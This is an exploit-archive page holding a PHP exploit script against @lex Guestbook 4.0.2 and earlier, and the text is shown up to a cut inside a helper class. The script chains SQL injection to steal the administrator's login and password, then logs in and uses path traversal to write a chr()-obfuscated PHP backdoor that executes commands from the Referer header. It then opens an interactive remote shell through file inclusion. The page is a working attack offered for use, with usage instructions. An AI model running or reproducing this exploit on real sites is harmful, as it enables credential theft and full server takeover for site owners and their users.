Lucene search
K

@lex Guestbook <= 4.0.2 Remote Command Execution Exploit

🗓️ 10 Jan 2007 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 61 Views

@lex Guestbook <= 4.0.2 Remote Command Execution Exploit. The exploit allows retrieval of administrator password, adding a skin, and writing of malicious skin

Code

                                                #!/usr/bin/php
&lt;?php
/*/
&nbsp;|
&nbsp;|&nbsp;header&gt;&nbsp;@lex&nbsp;Guestbook&nbsp;&lt;=&nbsp;4.0.2&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit
&nbsp;|&nbsp;header&gt;&nbsp;========================================================
&nbsp;|&nbsp;status&gt;&nbsp;Retrieving&nbsp;the&nbsp;administrator&nbsp;password
&nbsp;|&nbsp;sploit&gt;&nbsp;AdminUsername::root
&nbsp;|&nbsp;sploit&gt;&nbsp;AdminPassword::toor
&nbsp;|&nbsp;status&gt;&nbsp;Trying&nbsp;to&nbsp;get&nbsp;logged&nbsp;in
&nbsp;|&nbsp;sploit&gt;&nbsp;Done
&nbsp;|&nbsp;status&gt;&nbsp;Trying&nbsp;to&nbsp;add&nbsp;a&nbsp;skin
&nbsp;|&nbsp;sploit&gt;&nbsp;Done
&nbsp;|&nbsp;status&gt;&nbsp;Writing&nbsp;the&nbsp;malicious&nbsp;skin
&nbsp;|&nbsp;$shell&gt;&nbsp;whoami
&nbsp;|&nbsp;darkfig
&nbsp;|
&nbsp;|&nbsp;$shell&gt;&nbsp;cat&nbsp;/etc/passwd&nbsp;...
&nbsp;|
/*/

if($argc&nbsp;&lt;&nbsp;2)
{
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n---------------------------------------------------------&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nAffected.scr..:&nbsp;@lex&nbsp;Guestbook&nbsp;&lt;=&nbsp;4.0.2&quot;;&nbsp;//&nbsp;last&nbsp;version
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nPoc.ID........:&nbsp;20070107&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nType..........:&nbsp;PHP&nbsp;Code&nbsp;Execution&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nRisk.level....:&nbsp;High&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nSrc.download..:&nbsp;www.alexphpteam.com&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nPoc.link......:&nbsp;acid-root.new.fr/poc/20070107.txt&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nCredits.......:&nbsp;DarkFig&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n---------------------------------------------------------&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nUsage.........:&nbsp;php&nbsp;xpl.php&nbsp;&lt;url&gt;&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nProxyOptions..:&nbsp;&lt;proxhost:proxport&gt;&nbsp;&lt;proxuser:proxpass&gt;&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\nExample.......:&nbsp;php&nbsp;xpl.php&nbsp;http://victim.com/@lexgb/&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n---------------------------------------------------------\n&quot;;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(1);
}

$url=$argv[1];
$prs=$argv[2];
$pra=$argv[3];

$xpl&nbsp;=&nbsp;new&nbsp;phpsploit();
$xpl-&gt;agent(&quot;Sploitzilla&quot;);
if(!empty($prs))&nbsp;$xpl-&gt;proxy($prs);
if(!empty($pra))&nbsp;$xpl-&gt;proxyauth($pra);

/*/
&nbsp;|
&nbsp;|&nbsp;index.php
&nbsp;|&nbsp;=========
&nbsp;|&nbsp;...&nbsp;include($chem_absolu.&quot;include/livre_include.&quot;.$alex_livre_ext);
&nbsp;|
&nbsp;|
&nbsp;|&nbsp;livre_include.php&nbsp;-&gt;&nbsp;Local&nbsp;File&nbsp;Inclusion
&nbsp;|&nbsp;=================
&nbsp;|&nbsp;...&nbsp;set_magic_quotes_runtime(0);&nbsp;//&nbsp;thx&nbsp;=)
&nbsp;|&nbsp;...&nbsp;if&nbsp;(isset($_GET['lang'])&nbsp;&amp;&amp;&nbsp;$_GET['lang']&nbsp;&amp;&amp;&nbsp;file_exists($chem_absolu.&quot;languages/&quot;.$_GET['lang'].&quot;.&quot;.$alex_livre_ext))
&nbsp;|&nbsp;$f_language&nbsp;=&nbsp;str_replace(&quot;..&quot;,&quot;&quot;,$_GET['lang']);&nbsp;//&nbsp;We&nbsp;can't&nbsp;use&nbsp;....&nbsp;because&nbsp;of&nbsp;file_exists()&nbsp;verification&nbsp;but&nbsp;...&nbsp;=]
&nbsp;|&nbsp;include($chem_absolu.&quot;languages/&quot;.$f_language.&quot;.&quot;.$alex_livre_ext);
&nbsp;|
&nbsp;|
&nbsp;|&nbsp;&nbsp;index.php&nbsp;-&gt;&nbsp;SQL&nbsp;Injection
&nbsp;|&nbsp;&nbsp;=========
&nbsp;|&nbsp;&nbsp;...&nbsp;sql_select_query(&quot;msg&quot;,&nbsp;&quot;alex_livre_txt_lang&quot;,&nbsp;&quot;WHERE&nbsp;lang='&quot;.$f_language.&quot;'&nbsp;and&nbsp;`type`='titre'&quot;);
&nbsp;|&nbsp;&nbsp;//&nbsp;&quot;SELECT&nbsp;msg&nbsp;FROM&nbsp;`alex_livre_txt_lang`&nbsp;WHERE&nbsp;lang='$f_language'&nbsp;and&nbsp;type=`titre`
&nbsp;|
/*/

$sql&nbsp;=&nbsp;&quot;index.php?lang=english.php%00'%20union%20select%20&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;concat('XPLLogin:',(select%20login%20from%20alex_livr&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;e_users%20LIMIT%201),'XPLPass:',(select%20pass%20from&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%20alex_livre_users%20LIMIT%201))/*&quot;;

print&nbsp;&quot;\nheader&gt;&nbsp;@lex&nbsp;Guestbook&nbsp;&lt;=&nbsp;4.0.2&nbsp;Remote&nbsp;Command&nbsp;Execution&nbsp;Exploit&quot;;
print&nbsp;&quot;\nheader&gt;&nbsp;========================================================&quot;;
print&nbsp;&quot;\nstatus&gt;&nbsp;Retrieving&nbsp;the&nbsp;administrator&nbsp;password&quot;;
$xpl-&gt;get($url.$sql);

if(preg_match('#&lt;div&nbsp;class=&quot;d_title&quot;&gt;XPLLogin:(.*)XPLPass:(.*)&lt;/div&gt;#',$xpl-&gt;getcontent(),$count))
print&nbsp;&quot;\nsploit&gt;&nbsp;AdminUsername::&quot;.$count[1].&quot;\nsploit&gt;&nbsp;AdminPassword::&quot;.$count[2];
else&nbsp;die(&quot;\nsploit&gt;&nbsp;Exploit&nbsp;failed&quot;);

print&nbsp;&quot;\nstatus&gt;&nbsp;Trying&nbsp;to&nbsp;get&nbsp;logged&nbsp;in&quot;;
$xpl-&gt;post($url.&quot;admin/index.php&quot;,&quot;f_login=&quot;.$count[1].&quot;&amp;f_pass=&quot;.$count[2].&quot;&amp;f_identif=Identification&quot;);
if(preg_match(&quot;#f_cadres\.php\?f_sid=([a-z0-9]{32})#&quot;,$xpl-&gt;getheader(),$sid))&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;Done&quot;;
else&nbsp;die(&quot;\nsploit&gt;&nbsp;Exploit&nbsp;failed&quot;);

print&nbsp;&quot;\nstatus&gt;&nbsp;Trying&nbsp;to&nbsp;add&nbsp;a&nbsp;skin&quot;;
//&nbsp;skins.php&nbsp;...&nbsp;@mkdir($chem_absolu.&quot;templates/skins/&quot;.$_POST['aj_skin'].&quot;/&quot;,&nbsp;0755)
$xpl-&gt;post($url.&quot;admin/skins.php?f_sid=&quot;.$sid[1],&quot;aj_skin=../../languages/d4h4x0rskin&amp;ajouter=Ajouter&quot;);
if(!preg_match('#alert\(&quot;ERREUR\n#',$xpl-&gt;getcontent()))&nbsp;print&nbsp;&quot;\nsploit&gt;&nbsp;Done&quot;;
else&nbsp;die(&quot;\nsploit&gt;&nbsp;Exploit&nbsp;failed&quot;);

$scode&nbsp;=&nbsp;&quot;chr(0x73).chr(0x79).chr(0x73).chr(0x74).chr(0x65).chr(0x6d).&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;chr(0x28).chr(0x73).chr(0x74).chr(0x72).chr(0x69).chr(0x70).&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;chr(0x73).chr(0x6c).chr(0x61).chr(0x73).chr(0x68).chr(0x65).&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;chr(0x73).chr(0x28).chr(0x24).chr(0x5f).chr(0x53).chr(0x45).&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;chr(0x52).chr(0x56).chr(0x45).chr(0x52).chr(0x5b).chr(0x27).&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;chr(0x48).chr(0x54).chr(0x54).chr(0x50).chr(0x5f).chr(0x52).&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;chr(0x45).chr(0x46).chr(0x45).chr(0x52).chr(0x45).chr(0x52).&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;chr(0x27).chr(0x5d).chr(0x29).chr(0x29).chr(0x3b)&quot;;

$data&nbsp;&nbsp;=&nbsp;&quot;skin_edit=skins.php%3Ff_sid%3D&quot;.$sid[1].&quot;%26skin_edit&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;%3D../../languages/d4h4x0rskin&amp;alex_livre=&lt;?php\r\n@e&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;val($scode);exit(0);\r\n?&gt;&amp;add_message=&amp;nb_message_pa&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;ge=&amp;list_pages=&amp;corps_messages=&amp;space=&amp;assembly=&amp;enre&quot;.
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&quot;gistrer=Enregistrer&quot;;

print&nbsp;&quot;\nstatus&gt;&nbsp;Writing&nbsp;the&nbsp;malicious&nbsp;skin\n\$shell&gt;&nbsp;&quot;;
//&nbsp;skins.php&nbsp;...&nbsp;write($chem_absolu.&quot;templates/skins/&quot;.$_GET['skin_edit'].&quot;/&quot;.$tab_template_guestbook[$i])
$xpl-&gt;post($url.&quot;admin/skins.php?skin_edit=../../languages/d4h4x0rskin&amp;f_sid=&quot;.$sid[1],$data);

while(!preg_match(&quot;#^(quit|exit)$#&quot;,($cmd&nbsp;=&nbsp;trim(fgets(STDIN)))))
{
&nbsp;&nbsp;&nbsp;$xpl-&gt;addheader(&quot;Referer&quot;,$cmd);
&nbsp;&nbsp;&nbsp;$xpl-&gt;get($url.&quot;index.php?lang=d4h4x0rskin/alex_livre.css%00&quot;);
&nbsp;&nbsp;&nbsp;print&nbsp;$xpl-&gt;getcontent();
&nbsp;&nbsp;&nbsp;print&nbsp;&quot;\n\$shell&gt;&nbsp;&quot;;
}

class&nbsp;phpsploit&nbsp;{

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;is&nbsp;called&nbsp;by&nbsp;the&nbsp;get()/post()&nbsp;functions.
	&nbsp;*&nbsp;You&nbsp;don't&nbsp;have&nbsp;to&nbsp;call&nbsp;it,&nbsp;this&nbsp;is&nbsp;the&nbsp;main&nbsp;function.
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	private&nbsp;function&nbsp;sock()
	{
		if(!empty($this-&gt;proxyhost)&nbsp;&amp;&amp;&nbsp;!empty($this-&gt;proxyport))&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;proxyhost,$this-&gt;proxyport);
		else&nbsp;$socket&nbsp;=&nbsp;fsockopen($this-&gt;host,$this-&gt;port);
		
		if(!$socket)&nbsp;die(&quot;Error:&nbsp;The&nbsp;host&nbsp;doesn't&nbsp;exist&quot;);
		
		if($this-&gt;method===&quot;get&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;GET&nbsp;&quot;.$this-&gt;url.&quot;&nbsp;HTTP/1.1\r\n&quot;;
		elseif($this-&gt;method===&quot;post&quot;)&nbsp;$this-&gt;packet&nbsp;=&nbsp;&quot;POST&nbsp;&quot;.$this-&gt;url.&nbsp;&quot;&nbsp;HTTP/1.1\r\n&quot;;
		else&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;method&quot;);
		
		if(!empty($this-&gt;proxyuser))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Proxy-Authorization:&nbsp;Basic&nbsp;&quot;.base64_encode($this-&gt;proxyuser.&quot;:&quot;.$this-&gt;proxypass).&quot;\r\n&quot;;
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Host:&nbsp;&quot;.$this-&gt;host.&quot;\r\n&quot;;
		
		if(!empty($this-&gt;agent))&nbsp;&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;User-Agent:&nbsp;&quot;.$this-&gt;agent.&quot;\r\n&quot;;
		if(!empty($this-&gt;header))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;header.&quot;\r\n&quot;;
		if(!empty($this-&gt;cookie))&nbsp;$this-&gt;packet&nbsp;.=&nbsp;&quot;Cookie:&nbsp;&quot;.$this-&gt;cookie.&quot;\r\n&quot;;
		
		$this-&gt;packet&nbsp;.=&nbsp;&quot;Connection:&nbsp;Close\r\n&quot;;
		if($this-&gt;method===&quot;post&quot;)
		{
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Type:&nbsp;application/x-www-form-urlencoded\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;&quot;Content-Length:&nbsp;&quot;.strlen($this-&gt;data).&quot;\r\n\r\n&quot;;
			$this-&gt;packet&nbsp;.=&nbsp;$this-&gt;data.&quot;\r\n&quot;;
		}
		$this-&gt;packet&nbsp;.=&nbsp;&quot;\r\n&quot;;
		$this-&gt;recv&nbsp;=&nbsp;'';
		
		fputs($socket,$this-&gt;packet);
		while(!feof($socket))&nbsp;$this-&gt;recv&nbsp;.=&nbsp;fgets($socket);
		fclose($socket);
		
		if($this-&gt;cookiejar)&nbsp;$this-&gt;cookiejar($this-&gt;getheader($this-&gt;recv));
		if($this-&gt;allowredirection)&nbsp;return&nbsp;$this-&gt;allowredirection($this-&gt;recv);
		else&nbsp;return&nbsp;$this-&gt;recv;
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;cookie&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;name=newvalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addcookie(&quot;othername=overvalue;&nbsp;xx=zz;&nbsp;y=u&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookiename
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$cookievalue
	&nbsp;*&nbsp;
	&nbsp;*/
	public&nbsp;function&nbsp;addcookie($cookn,$cookv='')
	{
		//&nbsp;$this-&gt;addcookie(&quot;name&quot;,&quot;value&quot;);&nbsp;work&nbsp;avec&nbsp;replace
		if(!empty($cookv))
		{
			if($cookv&nbsp;===&nbsp;&quot;deleted&quot;)&nbsp;$cookv='';&nbsp;//&nbsp;cookiejar(1)&nbsp;&amp;&amp;&nbsp;Set-Cookie:&nbsp;name=delete
			if(!empty($this-&gt;cookie))
			{
			&nbsp;&nbsp;&nbsp;&nbsp;if(preg_match(&quot;/$cookn=/&quot;,$this-&gt;cookie))
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;preg_replace(&quot;/$cookn=(\S*);/&quot;,&quot;$cookn=$cookv;&quot;,$this-&gt;cookie);
			&nbsp;&nbsp;&nbsp;&nbsp;}
			&nbsp;&nbsp;&nbsp;&nbsp;else
			&nbsp;&nbsp;&nbsp;&nbsp;{
			&nbsp;&nbsp;&nbsp;&nbsp;	$this-&gt;cookie&nbsp;.=&nbsp;&quot;&nbsp;&quot;.$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;&nbsp;//&nbsp;&quot;&nbsp;&quot;.
			&nbsp;&nbsp;&nbsp;&nbsp;}
			}
			else
			{
				$this-&gt;cookie&nbsp;=&nbsp;$cookn.&quot;=&quot;.$cookv.&quot;;&quot;;
			}
		}
		//&nbsp;$this-&gt;addcookie(&quot;name=value;&nbsp;othername=othervalue&quot;);
		else
		{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;if(!empty($this-&gt;cookie))
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookn&nbsp;=&nbsp;preg_replace(&quot;/(.*);$/&quot;,&quot;$1&quot;,$cookn);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	$cookarr&nbsp;=&nbsp;explode(&quot;;&quot;,str_replace(&quot;&nbsp;&quot;,&nbsp;&quot;&quot;,$cookn));
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	for($i=0;$i&lt;count($cookarr);$i++)
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	{
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		preg_match(&quot;/(\S*)=(\S*)/&quot;,$cookarr[$i],$matches);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookn&nbsp;=&nbsp;$matches[1];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$cookv&nbsp;=&nbsp;$matches[2];
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;		$this-&gt;addcookie($cookn,$cookv);
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;	}
	&nbsp;&nbsp;&nbsp;&nbsp;	&nbsp;}
			&nbsp;else
			&nbsp;{
			&nbsp;	$cookn&nbsp;=&nbsp;((substr($cookn,(strlen($cookn)-1),1))===&quot;;&quot;)&nbsp;?&nbsp;$cookn&nbsp;:&nbsp;$cookn.&quot;;&quot;;
			&nbsp;	$this-&gt;cookie&nbsp;=&nbsp;$cookn;			
			&nbsp;}
		}
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;add&nbsp;several&nbsp;headers&nbsp;in&nbsp;the
	&nbsp;*&nbsp;request.&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername&quot;,&quot;headervalue&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;headername:&nbsp;headervalue&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headername
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$headervalue
	&nbsp;*/
	public&nbsp;function&nbsp;addheader($headern,$headervalue='')
	{
		//&nbsp;$this-&gt;addheader(&quot;name&quot;,&quot;value&quot;);
		if(!empty($headervalue))
		{
			if(!empty($this-&gt;header))
			{
				if(preg_match(&quot;/$headern:/&quot;,$this-&gt;header))
				{
					$this-&gt;header&nbsp;=&nbsp;preg_replace(&quot;/$headern:&nbsp;(\S*)/&quot;,&quot;$headern:&nbsp;$headervalue&quot;,$this-&gt;header);
				}
				else
				{
					$this-&gt;header&nbsp;.=&nbsp;&quot;\r\n&quot;.$headern.&quot;:&nbsp;&quot;.$headervalue;
				}
			}
			else
			{
				$this-&gt;header=$headern.&quot;:&nbsp;&quot;.$headervalue;
			}
		}
		//&nbsp;$this-&gt;addheader(&quot;name:&nbsp;value&quot;);
		else&nbsp;
		{
			if(!empty($this-&gt;header))
			{
				$headarr&nbsp;=&nbsp;explode(&quot;:&nbsp;&quot;,$headern);
				$headern&nbsp;=&nbsp;$headarr[0];
				$headerv&nbsp;=&nbsp;$headarr[1];
				$this-&gt;addheader($headern,$headerv);
			}
			else
			{
				$this-&gt;header=$headern;
			}
		}
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip&quot;,&quot;8118&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxy(&quot;proxyip:8118&quot;)
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyhost
	&nbsp;*&nbsp;@param&nbsp;integer&nbsp;$proxyport
	&nbsp;*/
	public&nbsp;function&nbsp;proxy($proxy,$proxyp='')
	{
		//&nbsp;$this-&gt;proxy(&quot;localhost:8118&quot;);
		if(empty($proxyp))
		{
			preg_match(&quot;/^(\S*):(\d+)$/&quot;,$proxy,$proxarr);
			$proxh&nbsp;=&nbsp;$proxarr[1];
			$proxp&nbsp;=&nbsp;$proxarr[2];
			$this-&gt;proxyhost=$proxh;
			$this-&gt;proxyport=$proxp;
		}
		//&nbsp;$this-&gt;proxy(&quot;localhost&quot;,8118);
		else&nbsp;
		{
			$this-&gt;proxyhost=$proxy;
			$this-&gt;proxyport=intval($proxyp);
		}
		if($this-&gt;proxyport&nbsp;&gt;&nbsp;65535)&nbsp;die(&quot;Error:&nbsp;Invalid&nbsp;port&nbsp;number&quot;);
	}
	

	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;use&nbsp;an&nbsp;http&nbsp;proxy&nbsp;server
	&nbsp;*&nbsp;which&nbsp;requires&nbsp;a&nbsp;basic&nbsp;authentification.&nbsp;Several
	&nbsp;*&nbsp;methods&nbsp;are&nbsp;supported:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;dapasswd&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;proxyauth(&quot;darkfig:dapasswd&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxyuser
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$proxypass
	&nbsp;*/
	public&nbsp;function&nbsp;proxyauth($proxyauth,$proxypasse='')
	{
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig:password&quot;);
		if(empty($proxypasse))
		{
			preg_match(&quot;/^(.*):(.*)$/&quot;,$proxyauth,$proxautharr);
			$proxu&nbsp;=&nbsp;$proxautharr[1];
			$proxp&nbsp;=&nbsp;$proxautharr[2];
			$this-&gt;proxyuser=$proxu;
			$this-&gt;proxypass=$proxp;
		}
		//&nbsp;$this-&gt;proxyauth(&quot;darkfig&quot;,&quot;password&quot;);
		else
		{
			$this-&gt;proxyuser=$proxyauth;
			$this-&gt;proxypass=$proxypasse;
		}
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;allows&nbsp;you&nbsp;to&nbsp;set&nbsp;the&nbsp;&quot;User-Agent&quot;&nbsp;header.
	&nbsp;*&nbsp;Several&nbsp;methods&nbsp;are&nbsp;possible&nbsp;to&nbsp;do&nbsp;that:
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;agent(&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent:&nbsp;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;addheader(&quot;User-Agent&quot;,&quot;Mozilla&nbsp;Firefox&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$useragent
	&nbsp;*/
	public&nbsp;function&nbsp;agent($useragent)
	{
		$this-&gt;agent=$useragent;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;header&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showheader();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$header
	&nbsp;*/
	public&nbsp;function&nbsp;showheader()
	{
		return&nbsp;$this-&gt;header;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;cookie&nbsp;which&nbsp;will&nbsp;be
	&nbsp;*&nbsp;in&nbsp;the&nbsp;next&nbsp;request.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showcookie();
	&nbsp;*
	&nbsp;*&nbsp;@return&nbsp;$storedcookies
	&nbsp;*/
	public&nbsp;function&nbsp;showcookie()
	{
		return&nbsp;$this-&gt;cookie;
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;last&nbsp;formed
	&nbsp;*&nbsp;http&nbsp;request&nbsp;(the&nbsp;http&nbsp;packet).
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;showlastrequest();
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@return&nbsp;$last_http_request
	&nbsp;*/
	public&nbsp;function&nbsp;showlastrequest()
	{
		return&nbsp;$this-&gt;packet;
	}
	
	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;GET&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost&quot;);
	&nbsp;*&nbsp;$this-&gt;get(&quot;http://localhost:888/xd/tst.php&quot;);
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/
	public&nbsp;function&nbsp;get($url)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;get&quot;;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;sends&nbsp;the&nbsp;formed&nbsp;http&nbsp;packet&nbsp;with&nbsp;the
	&nbsp;*&nbsp;POST&nbsp;method.&nbsp;You&nbsp;can&nbsp;precise&nbsp;the&nbsp;port&nbsp;of&nbsp;the&nbsp;host.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;post(&quot;http://localhost/index.php&quot;,&quot;admin=1&amp;user=dark&quot;);
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$urlwithpath
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$postdata
	&nbsp;*&nbsp;@return&nbsp;$server_response
	&nbsp;*/	
	public&nbsp;function&nbsp;post($url,$data)
	{
		$this-&gt;target($url);
		$this-&gt;method=&quot;post&quot;;
		$this-&gt;data=$data;
		return&nbsp;$this-&gt;sock();
	}

	
	/**
	&nbsp;*&nbsp;This&nbsp;function&nbsp;returns&nbsp;the&nbsp;content&nbsp;of&nbsp;the&nbsp;server&nbsp;response
	&nbsp;*&nbsp;without&nbsp;the&nbsp;headers.
	&nbsp;*&nbsp;
	&nbsp;*&nbsp;$this-&gt;getcontent($this-&gt;get(&quot;http://localhost/&quot;));
	&nbsp;*&nbsp;or
	&nbsp;*&nbsp;$this-&gt;getcontent();
	&nbsp;*
	&nbsp;*&nbsp;@param&nbsp;string&nbsp;$server_response
	&nbsp;*&nbsp;@return&nbsp;$onlythecontent
	&nbsp;*/
	public&nbsp;function&nbsp;getcontent($code='')
	{
		if(empty($code))&nbsp;$code&nbsp;=&nbsp;$this-&gt;recv;
		$content&nbsp;=&nbsp;explode(&quot;\n&quot;,$code);
		$onlycode&nbsp;=&nbsp;'';
		for($i=1;$i&lt;count($content);$i++)
		{
